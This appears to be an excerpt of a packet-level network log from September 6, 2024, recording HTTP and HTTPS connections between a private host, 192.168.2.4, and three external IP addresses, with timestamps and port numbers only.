Sep 6, 2024 08:17:07.970577955 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970587015 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970592976 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970602989 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970607996 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970613956 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970668077 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970752954 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.970757008 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.970767021 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.970772028 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.970777035 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.970787048 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.970792055 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.970894098 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970899105 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970912933 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970916033 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970926046 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970931053 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970936060 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970946074 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.970951080 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.970959902 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.971052885 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.971057892 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.971067905 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.971071959 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.971101046 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.971107960 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.971121073 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.971127987 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.971138954 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.971251965 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.971256971 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.971266985 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.971276045 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.971282005 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.971292019 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.971385002 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.971390963 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.971400976 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.971405029 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.971410036 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.971415997 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.971499920 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.971503973 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.971514940 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.971519947 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.971529961 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.971534967 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.971570969 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.971576929 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.971582890 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.971617937 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.971622944 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.971663952 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.971668005 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.971679926 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.971684933 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.971757889 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.971764088 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.971812963 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.971817017 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.971827984 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.971832037 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.971889973 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.971894979 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.971904039 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.971961975 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.971966982 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.971977949 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.971982956 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.972035885 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.972039938 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.972045898 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.972050905 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.972054958 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.972141027 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.972146034 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.972151995 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.972156048 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.972162008 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.972229958 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.972235918 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.972243071 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.972275972 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.972280025 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.972290993 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.972347021 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.972352028 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.972402096 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.972757101 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.972848892 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.972852945 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.972863913 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.972868919 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.974077940 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.974083900 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.974090099 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.974663019 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.974668980 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.974807024 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.974921942 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.974921942 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.975673914 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.975673914 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.976726055 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.976731062 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.976736069 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.976778030 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.976798058 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.976804018 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.976809025 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.976814032 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.976818085 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.976845980 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.976855993 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.976928949 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.976939917 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.976946115 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.976949930 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.976959944 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.976965904 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.976975918 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.976979017 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.976983070 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.976989031 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.976994991 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.976994991 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.977020979 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.977045059 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.977057934 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977070093 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977075100 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977085114 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977088928 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977092981 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977103949 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977108955 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977108955 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.977108955 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.977124929 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977137089 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977140903 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977149963 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977159023 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977164030 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.977164030 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.977185011 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.977190018 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977195978 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977200985 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977221966 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.977236986 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.977247000 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977252007 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977293968 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.977310896 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977317095 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977322102 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977355957 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.977382898 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977387905 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977396965 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977401018 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977405071 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977416992 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977426052 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977431059 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977446079 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.977446079 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.977475882 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.977500916 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977507114 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977520943 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977526903 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977531910 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977536917 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.977564096 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.977564096 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.977577925 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.978075027 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.978079081 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.978089094 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.978136063 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.978142023 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.978144884 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.978146076 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.978152037 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.978163004 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.978185892 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.978185892 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.978759050 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.978763103 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.978771925 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.978820086 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.978821039 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.978826046 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.978835106 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.978869915 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.978955030 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.978960991 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.978970051 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.978974104 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.978981018 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.978986025 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.978996992 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.979001999 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.979011059 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.979011059 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.979017973 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.979042053 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.979053974 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.979201078 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.979259014 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.979270935 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.979275942 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.979285955 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.979291916 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.979300976 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.979305983 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.979310989 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.979316950 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.979340076 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.989412069 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.989465952 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.989470005 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.989480019 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.989485025 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.989489079 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.989494085 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.989500046 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.989516020 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.989535093 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.989545107 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.989558935 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.999978065 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.000016928 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.000021935 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.000031948 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.000037909 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.000061989 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.000085115 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.000087023 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.000092983 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.000106096 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.000128984 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.000138998 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.000149012 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.000278950 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.003824949 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.003842115 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.003894091 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.003900051 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.004064083 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.004096031 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.004113913 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.004146099 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.004151106 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.004169941 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.004189968 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.004547119 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.004580021 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.004600048 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.004602909 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.004626036 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.004643917 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.004774094 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.004789114 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.004842997 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.004846096 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.004870892 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.004894972 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.005038977 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.005052090 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.005095959 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.005099058 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.005291939 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.005511999 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.005523920 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.005558014 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.005562067 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.005573034 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.005600929 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.006447077 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.006460905 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.006505013 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.006510019 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.006580114 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.030265093 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030270100 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030287981 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030293941 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030304909 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030332088 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.030337095 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030343056 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030354977 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.030395985 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030395985 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.030401945 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030406952 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030412912 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030419111 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030448914 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.030448914 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.030483961 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030488968 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030499935 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030505896 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030510902 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030515909 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030544996 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.030560970 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.030618906 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030625105 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030637026 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030642033 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030652046 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030658007 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030678988 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.030695915 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.030858994 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030896902 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030901909 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030940056 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.030978918 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030986071 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.030996084 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.031002045 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.031028032 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.031033993 CEST	80	49733	147.45.44.104	192.168.2.4
